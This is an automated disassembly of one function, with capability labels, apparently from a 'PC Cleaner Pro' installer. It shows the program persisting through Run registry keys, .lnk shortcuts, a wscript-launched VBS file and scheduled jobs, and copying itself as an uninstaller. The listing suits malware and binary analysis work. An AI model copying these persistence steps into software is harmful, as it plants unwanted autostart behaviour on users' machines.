Function at 0x404800
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Create directory
Create shortcut via ishelllink
Delete file
Get common file path
Get program files directory
Persist via lnk shortcut
Persist via run registry key
Set registry value

Disassembly:
push 0x4ac
mov eax, 0x441ab2
call fcn.0042b44d
push 0x23
lea eax, [ebp - 0x47c]
push eax
call fcn.004067ac
pop ecx
pop ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x44a2d4
lea ecx, [ebp - 0x47c]
call fcn.00406f0c
push ebx
push dword [ebp - 0x47c]
mov edi, dword [sym.imp._CreateDirectoryW]
call edi
push dword [ebp - 0x47c]
call fcn.0040470a
pop ecx
mov eax, dword [0x45caa4]
mov eax, dword [eax - 0xc]
dec eax
push eax
mov esi, 0x45caa4
mov ecx, esi
call fcn.00406c38
cmp ax, 0x5c
jne 0x40489d
mov eax, dword [0x45caa4]
mov eax, dword [eax - 0xc]
dec eax
push eax
lea eax, [ebp - 0x478]
push eax
mov ecx, esi
call fcn.00406b8f
mov byte [ebp - 4], 1
push eax
mov ecx, esi
call fcn.00402b1a
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x478]
call fcn.00402bf9
push esi
lea ecx, [ebp - 0x444]
call fcn.00402778
mov byte [ebp - 4], 2
push ebx
push dword [ebp - 0x444]
call edi
push dword [ebp - 0x444]
call fcn.0040470a
pop ecx
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x474]
call fcn.00402778
mov byte [ebp - 4], 3
push dword [ebp - 0x474]
call fcn.0040697d
mov dword [esp], 0x44a2d0
lea ecx, [ebp - 0x444]
call fcn.00406f0c
push str.pclpmon.exe
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x490]
push eax
call fcn.00406be0
add esp, 0xc
mov byte [ebp - 4], 4
push str.mal.db
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.00406be0
add esp, 0xc
mov byte [ebp - 4], 5
push str.fixed.htm
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x45c]
push eax
call fcn.00406be0
add esp, 0xc
mov byte [ebp - 4], 6
push str.image1.png
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00406be0
add esp, 0xc
mov byte [ebp - 4], 7
push str.image2.png
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.00406be0
add esp, 0xc
mov byte [ebp - 4], 8
push str.scanAV.htm
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x488]
push eax
call fcn.00406be0
add esp, 0xc
mov byte [ebp - 4], 9
push str.PCCleaners.exe
lea ecx, [ebp - 0x444]
call fcn.00406f0c
push ecx
mov ecx, esp
mov dword [ebp - 0x44c], esp
lea eax, [ebp - 0x444]
push eax
call fcn.00402778
mov byte [ebp - 4], 0xa
push 0x9a
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push 0x44a3a8
call fcn.00403063
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 9
call fcn.004041cc
add esp, 0xc
push 0x44a3b0
lea ecx, [ebp - 0x468]
call fcn.00403063
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x444]
push dword [eax - 0xc]
push eax
lea ecx, [ebp - 0x468]
call fcn.00406fbf
push 0x44a3b4
lea ecx, [ebp - 0x468]
call fcn.00406f0c
mov eax, dword [ebp - 0x468]
mov eax, dword [eax - 0xc]
add eax, eax
push eax
lea ecx, [ebp - 0x468]
call fcn.004035c6
push eax
push 1
mov edi, str.PC_Cleaners
push edi
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push esi
push 0x80000002
mov ebx, dword [0x4433b8]
call ebx
test eax, eax
je 0x404a93
mov eax, dword [ebp - 0x468]
mov eax, dword [eax - 0xc]
add eax, eax
push eax
lea ecx, [ebp - 0x468]
call fcn.004035c6
push eax
push 1
push edi
push esi
push 0x80000001
call ebx
mov eax, dword [0x459c14]
push ecx
mov ecx, esp
mov dword [ebp - 0x44c], esp
cmp eax, 0x411
jne 0x404ad9
lea eax, [ebp - 0x45c]
push eax
call fcn.00402778
mov byte [ebp - 4], 0xd
push 0x2747
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push 0x44a444
call fcn.00403063
mov byte [ebp - 4], 0xe
jmp 0x404c10
cmp eax, 0x40c
jne 0x404b11
lea eax, [ebp - 0x45c]
push eax
call fcn.00402778
mov byte [ebp - 4], 0xf
push 0xa093
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push 0x44a444
call fcn.00403063
mov byte [ebp - 4], 0x10
jmp 0x404c10
cmp eax, 0x407
jne 0x404b49
lea eax, [ebp - 0x45c]
push eax
call fcn.00402778
mov byte [ebp - 4], 0x11
push 0xa092
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push 0x44a444
call fcn.00403063
mov byte [ebp - 4], 0x12
jmp 0x404c10
cmp eax, 0x400a
jne 0x404b81
lea eax, [ebp - 0x45c]
push eax
call fcn.00402778
mov byte [ebp - 4], 0x13
push 0xa098
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push 0x44a444
call fcn.00403063
mov byte [ebp - 4], 0x14
jmp 0x404c10
cmp eax, 0x413
jne 0x404bb6
lea eax, [ebp - 0x45c]
push eax
call fcn.00402778
mov byte [ebp - 4], 0x15
push 0xa09a
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push 0x44a444
call fcn.00403063
mov byte [ebp - 4], 0x16
jmp 0x404c10
cmp eax, 0x804
lea eax, [ebp - 0x45c]
push eax
jne 0x404beb
call fcn.00402778
mov byte [ebp - 4], 0x17
push 0xa091
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push 0x44a444
call fcn.00403063
mov byte [ebp - 4], 0x18
jmp 0x404c10
call fcn.00402778
mov byte [ebp - 4], 0x19
push 0x2722
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push 0x44a444
call fcn.00403063
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 0xc
call fcn.004041cc
add esp, 0xc
push ecx
mov ecx, esp
mov dword [ebp - 0x44c], esp
lea eax, [ebp - 0x484]
push eax
call fcn.00402778
mov byte [ebp - 4], 0x1b
push 0x2723
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
mov esi, 0x44a444
push esi
call fcn.00403063
mov byte [ebp - 4], 0x1c
mov byte [ebp - 4], 0xc
call fcn.004041cc
pop ecx
pop ecx
mov ecx, esp
mov dword [ebp - 0x44c], esp
lea eax, [ebp - 0x480]
push eax
call fcn.00402778
mov byte [ebp - 4], 0x1d
push 0x2724
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push esi
call fcn.00403063
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0xc
call fcn.004041cc
pop ecx
pop ecx
mov ecx, esp
mov dword [ebp - 0x44c], esp
lea eax, [ebp - 0x488]
push eax
call fcn.00402778
mov byte [ebp - 4], 0x1f
push 0x2726
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push esi
call fcn.00403063
mov byte [ebp - 4], 0x20
mov byte [ebp - 4], 0xc
call fcn.004041cc
add esp, 0xc
push dword [ebp - 0x444]
call fcn.0040470a
pop ecx
push dword [ebp - 0x45c]
call fcn.0040470a
pop ecx
push dword [ebp - 0x484]
call fcn.0040470a
pop ecx
push dword [ebp - 0x480]
call fcn.0040470a
pop ecx
lea eax, [ebp - 0x444]
push eax
mov ecx, 0x45c9f8
call fcn.00402b1a
xor eax, eax
mov word [ebp - 0x440], ax
push 0x206
xor esi, esi
push esi
lea eax, [ebp - 0x43e]
push eax
call fcn.0042adc0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x440]
push eax
push esi
call dword [sym.imp._GetModuleFileNameW]
push 0x23
lea eax, [ebp - 0x458]
push eax
call fcn.004067ac
pop ecx
pop ecx
mov byte [ebp - 4], 0x21
push str.pclunst.exe
lea ecx, [ebp - 0x458]
call fcn.00406f0c
push dword [ebp - 0x458]
call dword [sym.imp._DeleteFileW]
push esi
push dword [ebp - 0x458]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp._CopyFileW]
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x494]
call fcn.00402778
mov byte [ebp - 4], 0x22
push dword [ebp - 0x458]
call fcn.0040470a
pop ecx
push 6
pop ecx
mov esi, str.PC_Cleaners
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2c]
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x404dc1
sub eax, ecx
sar eax, 1
add eax, eax
push eax
lea eax, [ebp - 0x2c]
push eax
push 1
push str.DisplayName
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallPC_Cleaners
push esi
mov edi, 0x80000001
push edi
call ebx
call fcn.004045f0
lea eax, [ebp - 0x458]
push eax
call fcn.00406b1e
push str.___removeit
lea ecx, [ebp - 0x458]
call fcn.00406f0c
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x444]
mov eax, dword [eax - 0xc]
add eax, eax
push eax
lea ecx, [ebp - 0x444]
call fcn.004035c6
push eax
push 1
push str.DisplayIcon
push esi
push edi
call ebx
mov eax, dword [ebp - 0x458]
mov eax, dword [eax - 0xc]
add eax, eax
push eax
lea ecx, [ebp - 0x458]
call fcn.004035c6
push eax
push 1
push str.UninstallString
push esi
push edi
call ebx
push str.PC_Cleaners
lea ecx, [ebp - 0x454]
call fcn.00403063
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0x454]
mov eax, dword [eax - 0xc]
add eax, eax
push eax
lea ecx, [ebp - 0x454]
call fcn.004035c6
push eax
push 1
push str.Publisher
push esi
push edi
call ebx
mov eax, dword [ebp - 0x474]
mov eax, dword [eax - 0xc]
add eax, eax
push eax
lea ecx, [ebp - 0x474]
call fcn.004035c6
push eax
push 1
push str.InstallLocation
push esi
push edi
call ebx
mov eax, dword [ebp - 0x474]
mov eax, dword [eax - 0xc]
add eax, eax
push eax
lea ecx, [ebp - 0x474]
call fcn.004035c6
push eax
push 1
push str.InstallLocation
push esi
push edi
call ebx
mov dword [ebp - 0x478], 0xa
and dword [ebp - 0x470], 0
push 4
lea eax, [ebp - 0x478]
push eax
push 4
push str.VersionMajor
push esi
push edi
call ebx
push 4
lea eax, [ebp - 0x470]
push eax
push 4
push str.VersionMinor
push esi
push edi
call ebx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x454]
call fcn.00402bf9
mov dword [ebp - 4], 0x22
mov byte [ebp - 4], 0x26
push 1
push 2
lea eax, [ebp - 0x238]
push eax
push 0
call dword [0x4433a8]
lea edi, [ebp - 0x238]
push 0xfffffffffffffffe
pop ebx
add edi, ebx
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x404f44
mov esi, 0x44a2d0
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x238]
add edi, ebx
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x404f5d
push 6
pop ecx
mov esi, str.PC_Cleaners
rep movsd dword es:[edi], dword [esi]
push 0
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp._CreateDirectoryW]
lea eax, [ebp - 0x238]
push eax
call fcn.0040470a
pop ecx
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x478]
call fcn.00403063
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x470]
call fcn.00403063
mov byte [ebp - 4], 0x28
push str.Uninstall_PC_Cleaner_Pro.lnk
push eax
lea eax, [ebp - 0x44c]
push eax
call fcn.00406be0
add esp, 0xc
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x470]
call fcn.00402bf9
lea edi, [ebp - 0x238]
add edi, ebx
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x404fe6
mov esi, 0x44a2d0
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x238]
add edi, ebx
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x404fff
push 7
pop ecx
mov esi, 0x44a5f8
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x238]
add edi, ebx
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x40501e
mov esi, str..lnk
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x454]
push eax
push 0x449484
push 1
push 0
push 0x449494
call dword [0x443630]
test eax, eax
jl 0x405250
mov eax, dword [ebp - 0x454]
mov ecx, dword [eax]
push dword [ebp - 0x444]
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x454]
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x454]
mov ecx, dword [eax]
lea edx, [ebp - 0x48c]
push edx
push 0x4494c4
push eax
call dword [ecx]
test eax, eax
jl 0x405250
mov eax, dword [ebp - 0x48c]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x238]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x48c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea eax, [ebp - 0x238]
push eax
call fcn.0040470a
mov dword [esp], 0x2733
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push 0x44a444
call fcn.00403063
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x470]
push eax
mov byte [ebp - 4], 0x2a
call fcn.004063c2
add esp, 0xc
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x448]
push eax
call fcn.00406c59
mov byte [ebp - 4], 0x2d
mov eax, str.PC_Cleaner_Pro
push eax
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0x464], esp
lea eax, [ebp - 0x478]
push eax
call fcn.00402778
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x450]
push eax
mov byte [ebp - 4], 0x2d
call fcn.00406462
pop ecx
pop ecx
mov byte [ebp - 4], 0x2f
push dword [eax]
push dword [ebp - 0x470]
lea eax, [ebp - 0x448]
push eax
call fcn.0040724b
add esp, 0x14
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x450]
call fcn.00402bf9
push ecx
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.pctskb3.vbs
call fcn.00403063
mov byte [ebp - 4], 0x30
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 4], 0x2d
call fcn.0040568d
mov byte [ebp - 4], 0x31
add esp, 4
mov ecx, esp
mov dword [ebp - 0x464], esp
lea eax, [ebp - 0x46c]
push eax
call fcn.00402778
mov byte [ebp - 4], 0x32
mov eax, dword [ebp - 0x448]
mov ebx, dword [eax - 0xc]
lea esi, [ebp - 0x448]
call fcn.00406cf6
push eax
mov byte [ebp - 4], 0x31
call fcn.0040597d
pop ecx
pop ecx
lea ecx, [ebp - 0x460]
call fcn.00402b79
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x46c]
call fcn.004035c6
push eax
push str.wscript.exe___B___T:10___s_
lea eax, [ebp - 0x460]
push eax
call fcn.0040290e
pop ecx
pop ecx
mov ecx, esp
mov dword [ebp - 0x464], esp
lea eax, [ebp - 0x460]
push eax
call fcn.00402778
mov byte [ebp - 4], 0x34
mov byte [ebp - 4], 0x33
call fcn.00405900
pop ecx
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x460]
call fcn.00402bf9
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x46c]
call fcn.00402bf9
mov byte [ebp - 4], 0x2c
mov ecx, esi
call fcn.00402bf9
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x470]
call fcn.00402bf9
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x44c]
call fcn.00402bf9
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x478]
call fcn.00402bf9
mov dword [ebp - 4], 0x22
mov byte [ebp - 4], 0x36
xor edi, edi
push edi
lea eax, [ebp - 0x46c]
push eax
call fcn.00406908
mov byte [ebp - 4], 0x37
xor esi, esi
inc esi
push esi
lea eax, [ebp - 0x454]
push eax
call fcn.00406908
add esp, 0x10
mov byte [ebp - 4], 0x38
mov dword [ebp - 0x448], edi
mov byte [ebp - 4], 0x39
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x448]
push eax
push 0x449484
push esi
push edi
push 0x449494
call dword [0x443630]
test eax, eax
jl 0x405374
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax]
push dword [ebp - 0x444]
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x3c]
mov dword [ebp - 0x460], edi
mov byte [ebp - 4], 0x3b
mov byte [ebp - 4], 0x3c
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax]
lea edx, [ebp - 0x460]
push edx
push 0x4494c4
push eax
call dword [ecx]
test eax, eax
jl 0x405364
mov eax, dword [ebp - 0x460]
mov ecx, dword [eax]
push esi
push dword [ebp - 0x454]
push eax
call dword [ecx + 0x18]
push dword [ebp - 0x454]
test eax, eax
jge 0x40535e
call dword [0x4433d0]
test eax, eax
jne 0x405364
mov eax, dword [ebp - 0x460]
mov ecx, dword [eax]
push esi
push dword [ebp - 0x46c]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x405364
push dword [ebp - 0x46c]
call fcn.0040470a
pop ecx
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x460]
push eax
call fcn.00405666
mov byte [ebp - 4], 0x3d
mov byte [ebp - 4], 0x38
mov eax, dword [ebp - 0x448]
cmp eax, edi
je 0x40538c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x454]
call fcn.00402bf9
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x46c]
call fcn.00402bf9
mov dword [ebp - 4], 0x22
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x448]
push eax
call fcn.00407d34
mov byte [ebp - 4], 0x40
xor edi, edi
push edi
push ecx
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.Minauto
call fcn.00403063
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x448]
push eax
mov byte [ebp - 4], 0x40
call fcn.00407e8b
push edi
push ecx
mov ecx, esp
mov dword [ebp - 0x464], esp
mov esi, str.AVStart
push esi
call fcn.00403063
mov byte [ebp - 4], 0x42
lea eax, [ebp - 0x448]
push eax
mov byte [ebp - 4], 0x40
call fcn.00407e04
cmp eax, edi
jne 0x405447
push edi
call fcn.0042a113
pop ecx
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0x464], esp
push esi
call fcn.00403063
mov byte [ebp - 4], 0x43
lea eax, [ebp - 0x448]
push eax
mov byte [ebp - 4], 0x40
call fcn.00407e8b
push dword [0x459c14]
push ecx
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.APPLCID
call fcn.00403063
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0x448]
push eax
mov byte [ebp - 4], 0x40
call fcn.00407e8b
push dword [ebp - 0x448]
call fcn.0040470a
pop ecx
lea eax, [ebp - 0x448]
push eax
call fcn.0040572d
pop ecx
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x448]
push eax
call fcn.00407de4
mov dword [ebp - 4], 0x22
push ecx
mov ecx, esp
mov dword [ebp - 0x464], esp
mov esi, str.update_completed
push esi
call fcn.00403063
mov byte [ebp - 4], 0x46
mov byte [ebp - 4], 0x22
call fcn.004063a4
pop ecx
push esi
lea ecx, [ebp - 0x44c]
call fcn.00403063
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x44c]
call fcn.00402bf9
mov byte [ebp - 4], 0x48
lea esi, [ebp - 0x4a8]
call fcn.0040676c
mov esi, eax
lea edi, [ebp - 0x4b8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x4b8]
push eax
push str._disabledupgrade
push dword [ebp - 0x444]
push str.PC_Cleaner_Pro_Update_Job
call fcn.0040af1d
add esp, 0x10
mov eax, dword [0x459c14]
cmp eax, 0x409
je 0x40552e
cmp eax, 0x40c
jne 0x405564
lea esi, [ebp - 0x4b8]
call fcn.0040676c
mov esi, eax
lea edi, [ebp - 0x4a8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x4a8]
push eax
push str._72h
push dword [ebp - 0x444]
push str.PC_Cleaner_Pro_Optimization
call fcn.0040af1d
add esp, 0x10
mov dword [ebp - 4], 0x22
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x494]
call fcn.00402bf9
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x458]
call fcn.00402bf9
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x468]
call fcn.00402bf9
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x488]
call fcn.00402bf9
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x480]
call fcn.00402bf9
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x484]
call fcn.00402bf9
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x45c]
call fcn.00402bf9
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x498]
call fcn.00402bf9
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x490]
call fcn.00402bf9
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x474]
call fcn.00402bf9
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x444]
call fcn.00402bf9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x47c]
call fcn.00402bf9
call fcn.0042b4a9
ret